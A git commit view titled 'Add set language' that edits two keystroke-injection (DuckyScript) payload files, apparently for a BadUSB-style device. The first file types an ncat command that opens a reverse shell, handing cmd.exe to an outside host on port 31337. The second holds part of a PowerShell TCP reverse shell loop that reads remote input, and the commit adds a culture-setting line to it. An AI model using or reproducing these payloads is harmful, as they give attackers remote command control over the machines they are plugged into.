Add set language

This commit is contained in:
Denis Zheleztsov 2024-08-22 10:38:19 +03:00
parent 5c745acc66
commit 5443d14b85
Signed by: Difrex
GPG Key ID: 1DEBA92520A8A974
2 changed files with 5 additions and 5 deletions

View File

@ -25,6 +25,5 @@ DELAY 3000
STRING cd nmap-7.80
ENTER
DELAY 2000
STRING .\ncat.exe 192.168.0.99 2456 -e cmd.exe
STRING .\ncat.exe spve.lessmore.pw 31337 -e cmd.exe
ENTER
WINDOWS DOWN

View File

@ -12,7 +12,8 @@ STRING $stream = $client.GetStream();
DELAY 100
STRING [byte[]]$buffer = 0..65535|%{0};
DELAY 100
STRING function Set-CultureWin([System.Globalization.CultureInfo] $culture) { [System.Threading.Thread]::CurrentThread.CurrentUICulture = $culture ; [System.Threading.Thread]::CurrentThread.CurrentCulture = $culture } ; Set-CultureWin en-US ; [system.threading.thread]::currentthread.currentculture
DELAY 100
STRING while(($bytesRead = $stream.Read($buffer, 0, $buffer.Length)) -ne 0) {
DELAY 100
STRING $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0, $bytesRead);